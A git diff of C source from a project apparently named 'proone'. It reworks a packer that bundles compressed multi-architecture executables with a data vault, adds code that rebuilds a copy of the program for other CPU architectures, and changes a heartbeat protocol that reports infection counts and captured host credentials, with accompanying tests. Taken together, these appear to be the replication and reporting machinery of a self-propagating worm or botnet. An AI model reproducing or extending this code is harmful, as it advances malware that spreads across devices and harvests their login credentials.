-void prne_init_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx);
-void prne_free_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx);
-prne_pack_ret_t prne_stdin_base64_rf (void *ctx, const size_t req, uint8_t *out, size_t *out_len);
+void prne_init_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx);
+void prne_free_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx);
+prne_pack_rc_t prne_start_bin_rcb (
+ prne_bin_rcb_ctx_t *ctx,
+ const prne_arch_t target,
+ const prne_arch_t self,
+ const uint8_t *m_self,
+ const size_t self_len,
+ const size_t exec_len,
+ const uint8_t *m_dvault,
+ const size_t dvault_len,
+ const prne_bin_archive_t *ba);
+ssize_t prne_bin_rcb_read (
+ prne_bin_rcb_ctx_t *ctx,
+ uint8_t *buf,
+ size_t len,
+ prne_pack_rc_t *prc,
+ int *err);
diff --git a/src/proone-pack.c b/src/proone-pack.c
index 4f5fbc1..555dbf4 100644
--- a/src/proone-pack.c
+++ b/src/proone-pack.c
@@ -14,66 +14,291 @@
#include "util_rt.h"
#include "util_ct.h"
+#include "endian.h"
#include "protocol.h"
+#include "config.h"
+#include "pack.h"
+
+#define ENABLE_TEST 0
+#define TEST_DEPTH 2
+
typedef struct {
prne_arch_t arch;
const char *path;
struct stat st;
+ uint8_t *m_exec;
} archive_tuple_t;
-uint8_t buf_in[16384], buf_out[16384];
const archive_tuple_t *encounter_arr[NB_PRNE_ARCH];
archive_tuple_t archive_arr[NB_PRNE_ARCH];
-size_t archive_arr_cnt = 0;
+size_t archive_arr_cnt;
+uint8_t *m_dv;
+size_t dv_len;
+uint8_t *m_ba;
+size_t ba_size, ba_len;
+size_t PAGESIZE;
static void report_zerror (const int z_ret, const char *msg) {
fprintf(stderr, "%s: (%d)%s\n", msg, z_ret, zError(z_ret));
}
+static bool load_dv (const char *path, uint8_t **m_dv, size_t *len) {
+ bool ret = false;
+ int fd;
+ off_t ofs;
+
+ fd = open(path, O_RDONLY);
+ if (fd < 0) {
+ goto END;
+ }
+
+ ofs = lseek(fd, 0, SEEK_END);
+ if (ofs < 0 || lseek(fd, 0, SEEK_SET) < 0) {
+ goto END;
+ }
+
+ *m_dv = (uint8_t*)prne_realloc(*m_dv, 1, ofs);
+ prne_assert(*m_dv != NULL);
+ *len = (size_t)ofs;
+
+ if (read(fd, *m_dv, *len) != (ssize_t)*len) {
+ goto END;
+ }
+ ret = true;
+
+END:
+ prne_close(fd);
+ return ret;
+}
+
+static size_t do_read (
+ uint8_t **m,
+ size_t *size,
+ prne_bin_rcb_ctx_t *ctx)
+{
+ prne_pack_rc_t prc;
+ int err;
+ size_t len = 0;
+ ssize_t f_ret;
+
+ prne_free(*m);
+ *m = NULL;
+ *size = 0;
+
+ do {
+ if (*size - len == 0) {
+ *size += PAGESIZE;
+ *m = (uint8_t*)prne_realloc(*m, 1, *size);
+ prne_assert(*m != NULL);
+ }
+
+ f_ret = prne_bin_rcb_read(
+ ctx,
+ *m + len,
+ *size - len,
+ &prc,
+ &err);
+ prne_assert(f_ret >= 0);
+ len += f_ret;
+ } while (prc != PRNE_PACK_RC_EOF);
+
+ return len;
+}
+
+static void do_test (
+ const uint8_t *m,
+ const size_t len,
+ const archive_tuple_t *t,
+ const size_t depth)
+{
+ prne_bin_rcb_ctx_t ctx;
+ prne_bin_archive_t ba;
+ const size_t ofs_dv =
+ prne_salign_next(t->st.st_size, PRNE_BIN_ALIGNMENT) + // exec
+ 8; // appendix;
+ const size_t ofs_ba =
+ ofs_dv +
+ prne_salign_next(dv_len, PRNE_BIN_ALIGNMENT); // dv
+ size_t out_size = 0, out_len;
+ uint8_t *m_out = NULL;
+
+ if (depth > TEST_DEPTH) {
+ return;
+ }
+
+ prne_assert(ofs_ba < len);
+ prne_assert(memcmp(m, t->m_exec, t->st.st_size) == 0);
+ prne_assert(memcmp(m + ofs_dv, m_dv, dv_len) == 0);
+
+ prne_init_bin_archive(&ba);
+ prne_init_bin_rcb_ctx(&ctx);
+ prne_assert(prne_index_bin_archive(
+ m + ofs_ba,
+ len - ofs_ba,
+ &ba) == PRNE_PACK_RC_OK);
+
+ fprintf(stderr, "%s\t\t", prne_arch_tostr(t->arch));
+ for (size_t i = 0; i < ba.nb_bin; i += 1) {
+ fprintf(stderr, "%s\t", prne_arch_tostr(ba.bin[i].arch));
+ }
+ fprintf(stderr, "\n");
+
+ for (size_t i = 0; i < archive_arr_cnt; i += 1) {
+ prne_assert(prne_start_bin_rcb(
+ &ctx,
+ archive_arr[i].arch,
+ t->arch,
+ m,
+ len,
+ t->st.st_size,
+ m_dv,
+ dv_len,
+ &ba) == PRNE_PACK_RC_OK);
+ out_len = do_read(&m_out, &out_size, &ctx);
+
+ if (archive_arr[i].arch == t->arch) {
+ prne_assert(out_len == len && memcmp(m_out, m, len) == 0);
+ }
+ else {
+ do_test(m_out, out_len, &archive_arr[i], depth + 1);
+ }
+ }
+
+ prne_free_bin_archive(&ba);
+ prne_free_bin_rcb_ctx(&ctx);
+ prne_free(m_out);
+}
+
+static bool do_rcb (const char *prefix) {
+ prne_pack_rc_t prc;
+ bool ret = true;
+ prne_bin_rcb_ctx_t ctx;
+ prne_bin_archive_t ba;
+ uint8_t *m_out = NULL;
+ size_t out_size = 0, out_len = 0;
+ int fd = -1;
+ char *out_path = NULL;
+ const size_t prefix_len = strlen(prefix);
+ const char *arch_str;
+
+ prne_init_bin_rcb_ctx(&ctx);
+ prne_init_bin_archive(&ba);
+
+ out_path = prne_alloc_str(
+ prefix_len + strlen(".nybin"));
+ strcpy(out_path, prefix);
+ strcat(out_path, ".nybin");
+
+ prc = prne_index_bin_archive(m_ba, ba_len, &ba);
+ prne_assert(prc == PRNE_PACK_RC_OK);
+
+ // TODO: dvault + nybin
+ fd = open(out_path, O_WRONLY | O_CREAT | O_TRUNC, 0755);
+ if (fd < 0 || write(fd, m_ba, ba_len) != (ssize_t)ba_len) {
+ perror(out_path);
+ ret = false;
+ goto END;
+ }
+ close(fd);
+ fd = -1;
+
+ for (size_t i = 0; i < archive_arr_cnt; i += 1) {
+ arch_str = prne_arch_tostr(archive_arr[i].arch);
+ prne_assert(arch_str != NULL);
+
+ prc = prne_start_bin_rcb(
+ &ctx,
+ archive_arr[i].arch,
+ PRNE_ARCH_NONE,
+ NULL,
+ 0,
+ 0,
+ m_dv,
+ dv_len,
+ &ba);
+ prne_assert(prc == PRNE_PACK_RC_OK);
+ out_len = do_read(&m_out, &out_size, &ctx);
+
+ if (ENABLE_TEST) {
+ do_test(m_out, out_len, &archive_arr[i], 0);
+ }
+
+ prne_free(out_path);
+ out_path = prne_alloc_str(
+ prefix_len + 1 + strlen(arch_str));
+ strcpy(out_path, prefix);
+ strcat(out_path, ".");
+ strcat(out_path, arch_str);
+
+ fd = open(out_path, O_WRONLY | O_CREAT | O_TRUNC, 0755);
+ if (fd < 0 || write(fd, m_out, out_len) != (ssize_t)out_len) {
+ perror(out_path);
+ ret = false;
+ goto END;
+ }
+ close(fd);
+ fd = -1;
+ }
+
+END:
+ prne_free(out_path);
+ prne_free(m_out);
+ prne_free_bin_rcb_ctx(&ctx);
+ prne_free_bin_archive(&ba);
+ prne_close(fd);
+ return ret;
+}
int main (const int argc, const char **args) {
size_t i;
archive_tuple_t *archive;
const char *path, *ext;
+ const char *o_prefix;
bool proc_result = true;
prne_arch_t arch;
int bin_fd = -1;
- uint8_t head[4];
- int z_ret;
+ int z_ret, ret = 0;
z_stream zs;
- ssize_t io_ret;
size_t out_len;
- if (argc <= 1) {
- fprintf(stderr, "Usage: %s <path to binary 1> [path to binary 2 [path to binary ...]]\n", args[0]);
- return 1;
- }
- // refuse to run if stdout is terminal
- if (isatty(STDOUT_FILENO)) {
- fprintf(stderr, "** Refusing to print on terminal.\n");
- return 1;
- }
- // too many files
- if (argc - 1 > NB_PRNE_ARCH) {
- fprintf(stderr, "** Too many files given (%d > %d).\n", argc - 1, NB_PRNE_ARCH);
- return 1;
- }
+ PAGESIZE = prne_getpagesize(); // TODO: test
- // init
- prne_memzero(encounter_arr, sizeof(archive_tuple_t*) * NB_PRNE_ARCH);
- prne_memzero(archive_arr, sizeof(archive_tuple_t) * NB_PRNE_ARCH);
prne_memzero(&zs, sizeof(z_stream));
-
- if ((z_ret = deflateInit(&zs, Z_BEST_COMPRESSION)) != Z_OK) {
+ if ((z_ret = deflateInit(&zs, PRNE_PACK_Z_LEVEL)) != Z_OK) {
report_zerror(z_ret, "deflateInit()");
abort();
}
+ if (argc < 3) {
+ fprintf(
+ stderr,
+ "Usage: %s <outfile prefix> <path to dvault> [path to binary 1 [path to binary ...]]\n",
+ args[0]);
+ ret = 2;
+ goto END;
+ }
+ o_prefix = args[1];
+
+ if (!load_dv(args[2], &m_dv, &dv_len)) {
+ perror("load_dv()");
+ goto END;
+ }
+
// Check the file names are valid
- for (i = 1; i < (size_t)argc; i += 1) {
+ for (i = 3; i < (size_t)argc; i += 1) {
struct stat st;
+ if (archive_arr_cnt >= NB_PRNE_ARCH) {
+ fprintf(
+ stderr,
+ "** Too many files given (%d > %d).\n",
+ argc - 1,
+ NB_PRNE_ARCH);
+ ret = 2;
+ goto END;
+ }
+
path = args[i];
ext = strrchr(path, '.');
if (ext == NULL) {
@@ -91,7 +316,11 @@ int main (const int argc, const char **args) {
}
if (encounter_arr[arch] != NULL) {
- fprintf(stderr, "** Duplicate arch!\n%s\n%s\n", encounter_arr[arch]->path, path);
+ fprintf(
+ stderr,
+ "** Duplicate arch!\n%s\n%s\n",
+ encounter_arr[arch]->path,
+ path);
proc_result = false;
continue;
}
@@ -106,7 +335,7 @@ int main (const int argc, const char **args) {
proc_result = false;
continue;
}
- if (st.st_ino > 0x00FFFFFF) {
+ if (st.st_size > 0x00FFFFFF) {
fprintf(stderr, "%s: file too large!\n", path);
proc_result = false;
continue;
@@ -119,111 +348,120 @@ int main (const int argc, const char **args) {
archive_arr_cnt += 1;
}
if (!proc_result) {
+ ret = 2;
goto END;
}
+ ba_len = ba_size = 4 + archive_arr_cnt * 4;
+ m_ba = (uint8_t*)prne_malloc(1, ba_size);
+ prne_assert(m_ba != NULL);
+
// write head
- head[0] = (uint8_t)(archive_arr_cnt & 0x000000FF);
- if (write(STDOUT_FILENO, head, 1) != 1) {
- perror("write()");
- proc_result = false;
- goto END;
- }
+ m_ba[0] = (uint8_t)(archive_arr_cnt & 0xFF);
+ m_ba[1] = 0;
+ m_ba[2] = 0;
+ m_ba[3] = 0;
+ ba_len = 4;
for (i = 0; i < archive_arr_cnt; i += 1) {
archive = archive_arr + i;
- head[0] = (uint8_t)archive->arch;
- head[1] = (uint8_t)(((uint_fast32_t)archive->st.st_size & 0x00FF0000) >> 16);
- head[2] = (uint8_t)(((uint_fast32_t)archive->st.st_size & 0x0000FF00) >> 8);
- head[3] = (uint8_t)((uint_fast32_t)archive->st.st_size & 0x000000FF);
- if (write(STDOUT_FILENO, head, 4) != 4) {
- perror("write()");
- proc_result = false;
- goto END;
- break;
- }
+ m_ba[ba_len + 0] = (uint8_t)archive->arch;
+ m_ba[ba_len + 1] = prne_getmsb32(archive->st.st_size, 1);
+ m_ba[ba_len + 2] = prne_getmsb32(archive->st.st_size, 2);
+ m_ba[ba_len + 3] = prne_getmsb32(archive->st.st_size, 3);
+ ba_len += 4;
}
- // write binary
+ // compress executables
for (i = 0; i < archive_arr_cnt; i += 1) {
archive = archive_arr + i;
+ archive->m_exec = prne_malloc(1, archive->st.st_size);
+ prne_assert(archive->m_exec != NULL);
+
bin_fd = open(archive->path, O_RDONLY);
if (bin_fd < 0) {
perror(archive->path);
- proc_result = false;
+ ret = 1;
goto END;
}
- while (true) {
- io_ret = read(bin_fd, buf_in, sizeof(buf_in));
- if (io_ret == 0) {
- break;
+ if (read(
+ bin_fd,
+ archive->m_exec,
+ archive->st.st_size) != (ssize_t)archive->st.st_size)
+ {
+ perror(archive->path);
+ ret = 1;
+ goto END;
+ }
+ close(bin_fd);
+ bin_fd = -1;
+
+ zs.avail_in = archive->st.st_size;
+ zs.next_in = archive->m_exec;
+
+ do {
+ if (ba_size - ba_len == 0) {
+ ba_size += PAGESIZE;
+ m_ba = (uint8_t*)prne_realloc(m_ba, 1, ba_size);
+ prne_assert(m_ba != NULL);
}
- if (io_ret < 0) {
- perror(archive->path);
- proc_result = false;
+ zs.avail_out = ba_size - ba_len;
+ zs.next_out = m_ba + ba_len;
+ out_len = zs.avail_out;
+
+ z_ret = deflate(&zs, Z_NO_FLUSH);
+ switch (z_ret) {
+ case Z_BUF_ERROR:
+ case Z_OK:
+ break;
+ default:
+ report_zerror(z_ret, archive->path);
+ ret = 1;
goto END;
}
-
- zs.avail_in = io_ret;
- zs.next_in = buf_in;
- do {
- zs.avail_out = sizeof(buf_out);
- zs.next_out = buf_out;
- z_ret = deflate(&zs, Z_NO_FLUSH);
- switch (z_ret) {
- case Z_BUF_ERROR:
- case Z_OK:
- break;
- default:
- report_zerror(z_ret, archive->path);
- proc_result = false;
- goto END;
- }
- out_len = sizeof(buf_out) - zs.avail_out;
-
- if (write(STDOUT_FILENO, buf_out, out_len) != (ssize_t)out_len) {
- perror("write()");
- proc_result = false;
- goto END;
- }
- } while (zs.avail_out == 0);
- }
-
- prne_close(bin_fd);
- bin_fd = -1;
+ out_len -= zs.avail_out;
+ ba_len += out_len;
+ } while (zs.avail_in > 0);
}
- zs.next_in = NULL;
- zs.avail_in = 0;
- do {
- zs.next_out = buf_out;
- zs.avail_out = sizeof(buf_out);
+ while (z_ret != Z_STREAM_END) {
+ if (ba_size - ba_len == 0) {
+ ba_size += PAGESIZE;
+ m_ba = (uint8_t*)prne_realloc(m_ba, 1, ba_size);
+ prne_assert(m_ba != NULL);
+ }
+ zs.avail_out = ba_size - ba_len;
+ zs.next_out = m_ba + ba_len;
+ out_len = zs.avail_out;
+
z_ret = deflate(&zs, Z_FINISH);
switch (z_ret) {
- case Z_BUF_ERROR:
case Z_STREAM_END:
+ case Z_BUF_ERROR:
case Z_OK:
break;
default:
report_zerror(z_ret, "finishing deflate()");
- proc_result = false;
- break;
+ ret = 1;
+ goto END;
}
- out_len = sizeof(buf_out) - zs.avail_out;
+ out_len -= zs.avail_out;
+ ba_len += out_len;
+ }
- if (write(STDOUT_FILENO, buf_out, out_len) != (ssize_t)out_len) {
- perror("write()");
- proc_result = false;
- break;
- }
- } while (zs.avail_out == 0);
+ ret = do_rcb(o_prefix) ? 0 : 1;
END:
+ prne_free(m_dv);
+ prne_free(m_ba);
+ for (size_t i = 0; i < archive_arr_cnt; i += 1) {
+ prne_free(archive_arr[i].m_exec);
+ }
deflateEnd(&zs);
prne_close(bin_fd);
bin_fd = -1;
- return proc_result ? 0 : 1;
+ return ret;
}
diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c
index e199d52..0816128 100644
--- a/src/proone-test_proto.c
+++ b/src/proone-test_proto.c
@@ -32,10 +32,8 @@ static void test_ser (void) {
static prne_htbt_status_t s_a, s_b;
static prne_host_cred_t hc_a, hc_b;
static prne_htbt_hover_t hv_a, hv_b;
- static uint8_t *cred_data = NULL;
+ static uint8_t cred_data[255];
static size_t cred_data_len = 0;
- static char *encoded_cred_str = NULL;
- static size_t encoded_cred_str_len = 0;
static prne_htbt_host_info_t hi_a, hi_b;
static prne_htbt_cmd_t cmd_a, cmd_b;
static char *test_args[] = {
@@ -70,7 +68,8 @@ static void test_ser (void) {
};
static prne_htbt_bin_meta_t bm_a, bm_b;
static const uint8_t prog_ver[] = PRNE_PROG_VER;
- static const char CRED_STR_NORM[] = "qwertyuiop[]asdfghjkl;'zxcvbnm,./`1234567890-=~!@#$%^&*()_+|\\";
+#define CRED_STR "qwertyuiop[]asdfghjkl;'zxcvbnm,./`1234567890-=~!@#$%^&*()_+|\\"
+ static const char CRED_STR_NORM[] = CRED_STR;
static const char CRED_STR_LONG[] = "012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789";
// free functions should accept NULL
@@ -181,11 +180,9 @@ static void test_ser (void) {
assert(prne_alloc_host_cred(&hc_a, strlen(CRED_STR_NORM), strlen(CRED_STR_NORM)));
strcpy(hc_a.id, CRED_STR_NORM);
strcpy(hc_a.pw, CRED_STR_NORM);
- assert(prne_enc_host_cred(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hc_a) == PRNE_HTBT_SER_RC_OK);
- cred_data_len = proto_buf_cnt_len;
- cred_data = (uint8_t*)prne_malloc(1, proto_buf_cnt_len);
- memcpy(cred_data, proto_buf, proto_buf_cnt_len);
- assert(prne_dec_host_cred(proto_buf, proto_buf_cnt_len, &hc_b) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_enc_host_cred(cred_data, sizeof(cred_data), &cred_data_len, &hc_a) == PRNE_HTBT_SER_RC_OK);
+ assert(cred_data_len == sizeof(CRED_STR_NORM) * 2);
+ assert(prne_dec_host_cred(cred_data, cred_data_len, &hc_b) == PRNE_HTBT_SER_RC_OK);
assert(
strcmp(hc_b.id, CRED_STR_NORM) == 0 &&
strcmp(hc_b.pw, CRED_STR_NORM) == 0);
@@ -193,12 +190,6 @@ static void test_ser (void) {
prne_free_host_cred(&hc_a);
prne_free_host_cred(&hc_b);
- // Base64 encode the cred data
- encoded_cred_str = prne_enc_base64_mem(cred_data, cred_data_len);
- assert(encoded_cred_str != NULL);
- encoded_cred_str_len = strlen(encoded_cred_str);
- assert(encoded_cred_str_len < 256);
-
// host info
prne_htbt_init_host_info(&hi_a);
prne_htbt_init_host_info(&hi_b);
@@ -210,14 +201,15 @@ static void test_ser (void) {
hi_a.infect_cnt = 0xABBAABBAABBAABBA;
hi_a.parent_pid = 0xDEADBEEF;
hi_a.child_pid = 0xBABEBABE;
- hi_a.host_cred = encoded_cred_str;
+ hi_a.host_cred = cred_data;
+ hi_a.host_cred_len = cred_data_len;
memcpy(hi_a.prog_ver, prog_ver, sizeof(prog_ver));
memcpy(hi_a.boot_id, "\x30\x1d\x25\x39\x90\x85\x42\xfd\x90\xb6\x20\x0b\x4a\x3b\x08\x55", 16);
memcpy(hi_a.instance_id, "\x25\xdc\x7e\xa2\x4a\xc6\x4a\x29\x9f\xac\xbe\x18\x42\x33\xc4\x85", 16);
hi_a.arch = prne_host_arch;
assert(prne_htbt_ser_host_info(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hi_a) == PRNE_HTBT_SER_RC_OK);
assert(
- proto_buf_cnt_len == 94 + encoded_cred_str_len &&
+ proto_buf_cnt_len == 94 + cred_data_len &&
memcmp(proto_buf, prog_ver, 16) == 0 &&
memcmp(
proto_buf + 16,
@@ -231,12 +223,13 @@ static void test_ser (void) {
"\xDE\xAD\xBE\xEF" // parent_pid
"\xBA\xBE\xBA\xBE", // child_pid
76) == 0 &&
- (size_t)proto_buf[16 + 76] == encoded_cred_str_len &&
+ (size_t)proto_buf[16 + 76] == cred_data_len &&
proto_buf[16 + 76 + 1] == (uint8_t)prne_host_arch &&
- memcmp(proto_buf + 16 + 76 + 1 + 1, encoded_cred_str, encoded_cred_str_len) == 0);
+ memcmp(proto_buf + 16 + 76 + 1 + 1, cred_data, cred_data_len) == 0);
assert(prne_htbt_dser_host_info(proto_buf, proto_buf_cnt_len, &actual, &hi_b) == PRNE_HTBT_SER_RC_OK);
assert(prne_htbt_eq_host_info(&hi_a, &hi_b));
hi_a.host_cred = NULL;
+ hi_a.host_cred_len = 0;
// with ownership of host_cred
prne_htbt_alloc_host_info(&hi_a, cred_data_len);
assert(prne_htbt_ser_host_info(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hi_a) == PRNE_HTBT_SER_RC_OK);
@@ -307,11 +300,4 @@ static void test_ser (void) {
assert(prne_htbt_eq_hover(&hv_a, &hv_b));
prne_htbt_free_hover(&hv_a);
prne_htbt_free_hover(&hv_b);
-
- prne_free(encoded_cred_str);
- prne_free(cred_data);
- encoded_cred_str = NULL;
- encoded_cred_str_len = 0;
- cred_data = NULL;
- cred_data_len = 0;
}
diff --git a/src/proone.c b/src/proone.c
index 35505f5..c39a60b 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -17,6 +17,7 @@
#include <elf.h>
#include <mbedtls/sha256.h>
+#include <mbedtls/base64.h>
#include "config.h"
#include "proone.h"
@@ -214,11 +215,6 @@ static void setup_dvault (void) {
prne_init_dvault(prne_g.m_dvault);
}
-static bool setup_binarch (const void *m) {
- // TODO: Load bin arc
- return false;
-}
-
static void init_proone (const char *self) {
int fd;
#if PRNE_HOST_WORDSIZE == 64
@@ -277,18 +273,12 @@ static void init_proone (const char *self) {
prne_g.dvault_size =
(uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 0] << 8 |
(uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 1] << 0;
- binarch_size =
- (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 4] << 24 |
- (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 5] << 16 |
- (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 6] << 8 |
- (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 7] << 0;
-
- dvault_ofs = prne_salign_next(
- prne_g.exec_size + 8,
- PRNE_BIN_ALIGNMENT);
- binarch_ofs = prne_salign_next(
- dvault_ofs + prne_g.dvault_size,
+
+ dvault_ofs = prne_salign_next(prne_g.exec_size, PRNE_BIN_ALIGNMENT) + 8;
+ binarch_ofs = dvault_ofs + prne_salign_next(
+ prne_g.dvault_size,
PRNE_BIN_ALIGNMENT);
+ binarch_size = file_size - binarch_ofs;
// Load dvault
prne_assert(dvault_ofs + prne_g.dvault_size <= (size_t)file_size);
@@ -296,10 +286,12 @@ static void init_proone (const char *self) {
setup_dvault();
if (binarch_size > 0) {
- prne_assert(binarch_ofs + binarch_size <= (size_t)file_size);
- setup_binarch(prne_g.m_exec + binarch_ofs);
+ prne_g.bin_ready = prne_index_bin_archive(
+ prne_g.m_exec + binarch_ofs,
+ binarch_size,
+ &prne_g.bin_archive) == PRNE_PACK_RC_OK;
}
- else {
+ if (!prne_g.bin_ready) {
prne_dbgpf("* This executable has no binary archive!\n");
}
#undef ELF_EHDR_TYPE
@@ -461,7 +453,7 @@ static bool format_shared_global (const int fd) {
}
static void skel_shared_global (struct prne_shared_global *skel) {
- prne_memzero(skel, sizeof(skel));
+ prne_memzero(skel, sizeof(struct prne_shared_global));
// Future code for new shared_global format goes here
skel->rev = 0;
}
@@ -681,7 +673,13 @@ static void set_host_credential (const char *str) {
return;
}
- strncpy(prne_s_g->host_cred_data, str, sizeof(prne_s_g->host_cred_data) - 1);
+ // TODO: test
+ mbedtls_base64_decode(
+ prne_s_g->host_cred_data,
+ sizeof(prne_s_g->host_cred_data),
+ &prne_s_g->host_cred_len,
+ (const unsigned char*)str,
+ strlen(str));
}
static void run_ny_bin (void) {
diff --git a/src/proone.h b/src/proone.h
index 3906ba1..cbd1cd9 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -68,7 +68,8 @@ struct prne_shared_global {
// null-terminated name of new binary
char ny_bin_path[256];
char ny_bin_args[1024];
- char host_cred_data[256];
+ size_t host_cred_len;
+ uint8_t host_cred_data[255];
};
diff --git a/src/protocol.c b/src/protocol.c
index 2eba421..6045f5f 100644
--- a/src/protocol.c
+++ b/src/protocol.c
@@ -55,6 +55,10 @@ prne_arch_t prne_arch_fstr (const char *str) {
return PRNE_ARCH_NONE;
}
+bool prne_arch_inrange (const prne_arch_t x) {
+ return PRNE_ARCH_NONE < x && x < NB_PRNE_ARCH;
+}
+
void prne_net_ep_tosin4 (const prne_net_endpoint_t *ep, struct sockaddr_in *out) {
memcpy(&out->sin_addr, ep->addr.addr, 4);
out->sin_family = AF_INET;
@@ -194,36 +198,26 @@ prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, pr
}
void prne_htbt_init_host_info (prne_htbt_host_info_t *hi) {
- hi->parent_uptime = 0;
- hi->child_uptime = 0;
- hi->bne_cnt = 0;
- hi->infect_cnt = 0;
- hi->parent_pid = 0;
- hi->child_pid = 0;
- prne_memzero(hi->prog_ver, 16);
- prne_memzero(hi->boot_id, 16);
- prne_memzero(hi->instance_id, 16);
- hi->host_cred = NULL;
- hi->crash_cnt = 0;
+ prne_memzero(hi, sizeof(prne_htbt_host_info_t));
hi->arch = PRNE_ARCH_NONE;
}
-bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_strlen) {
+bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_len) {
void *ny_mem;
- if (cred_strlen > 255) {
+ if (cred_len > 255) {
errno = EINVAL;
return false;
}
- ny_mem = prne_alloc_str(cred_strlen);
+ ny_mem = prne_calloc(1, cred_len);
if (ny_mem == NULL) {
return false;
}
- prne_memzero(ny_mem, cred_strlen + 1);
prne_free(hi->host_cred);
- hi->host_cred = (char*)ny_mem;
+ hi->host_cred = (uint8_t*)ny_mem;
+ hi->host_cred_len = cred_len;
return true;
}
@@ -233,6 +227,7 @@ void prne_htbt_free_host_info (prne_htbt_host_info_t *hi) {
prne_free(hi->host_cred);
hi->host_cred = NULL;
+ hi->host_cred_len = 0;
}
bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b) {
@@ -244,10 +239,11 @@ bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_hos
a->parent_pid == b->parent_pid &&
a->child_pid == b->child_pid &&
a->arch == b->arch &&
+ a->host_cred_len == b->host_cred_len &&
memcmp(a->prog_ver, b->prog_ver, 16) == 0 &&
memcmp(a->boot_id, b->boot_id, 16) == 0 &&
memcmp(a->instance_id, b->instance_id, 16) == 0 &&
- prne_nstreq(a->host_cred, b->host_cred);
+ memcmp(a->host_cred, b->host_cred, a->host_cred_len) == 0;
}
void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd) {
@@ -480,14 +476,11 @@ prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, siz
}
prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in) {
- const size_t host_cred_len = prne_nstrlen(in->host_cred);
-
- if (host_cred_len > 255) {
+ if (in->host_cred_len > 255) {
return PRNE_HTBT_SER_RC_FMT_ERR;
}
- *actual = 94 + host_cred_len;
-
+ *actual = 94 + in->host_cred_len;
if (mem_len < *actual) {
return PRNE_HTBT_SER_RC_MORE_BUF;
}
@@ -539,9 +532,9 @@ prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len,
mem[89] = prne_getmsb32(in->child_pid, 1);
mem[90] = prne_getmsb32(in->child_pid, 2);
mem[91] = prne_getmsb32(in->child_pid, 3);
- mem[92] = (uint8_t)host_cred_len;
+ mem[92] = (uint8_t)in->host_cred_len;
mem[93] = (uint8_t)in->arch;
- memcpy(mem + 94, in->host_cred, host_cred_len);
+ memcpy(mem + 94, in->host_cred, in->host_cred_len);
return PRNE_HTBT_SER_RC_OK;
}
@@ -648,7 +641,6 @@ prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t l
size_t cred_size;
*actual = 94;
-
if (len < *actual) {
return PRNE_HTBT_SER_RC_MORE_BUF;
}
diff --git a/src/protocol.h b/src/protocol.h
index 5f0d2c0..b0b964e 100644
--- a/src/protocol.h
+++ b/src/protocol.h
@@ -217,7 +217,8 @@ struct prne_htbt_host_info {
uint8_t prog_ver[16];
uint8_t boot_id[16];
uint8_t instance_id[16];
- char *host_cred;
+ uint8_t *host_cred;
+ size_t host_cred_len;
uint32_t crash_cnt;
prne_arch_t arch;
};
@@ -284,6 +285,7 @@ typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)(const uint8_t *data, const size_t
const char *prne_arch_tostr (const prne_arch_t x);
prne_arch_t prne_arch_fstr (const char *str);
+bool prne_arch_inrange (const prne_arch_t x);
void prne_net_ep_tosin4 (const prne_net_endpoint_t *ep, struct sockaddr_in *out);
void prne_net_ep_tosin6 (const prne_net_endpoint_t *ep, struct sockaddr_in6 *out);
@@ -306,7 +308,7 @@ prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *
prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, prne_host_cred_t *out);
void prne_htbt_init_host_info (prne_htbt_host_info_t *hi);
-bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_strlen);
+bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_len);
void prne_htbt_free_host_info (prne_htbt_host_info_t *hi);
bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b);
diff --git a/src/util_ct.h b/src/util_ct.h
index ad8118f..a199b19 100644
--- a/src/util_ct.h
+++ b/src/util_ct.h
@@ -8,6 +8,7 @@
#endif
#define PRNE_LIMIT_ENUM(t,x,l) _Static_assert((x) <= (l),"enum overflow: "#t)
+#define prne_static_assert(expr, msg) _Static_assert((expr), msg)
#define prne_op_min(a, b) ((a) < (b) ? (a) : (b))
#define prne_op_max(a, b) ((a) > (b) ? (a) : (b))
@@ -42,3 +43,8 @@
#define prne_dbgmast(expr, ...)
#define prne_dbgtrap(expr) (expr)
#endif
+
+#define prne_chk_assign(l, r) \
+ if ((l) != NULL) {\
+ *(l) = (r);\
+ }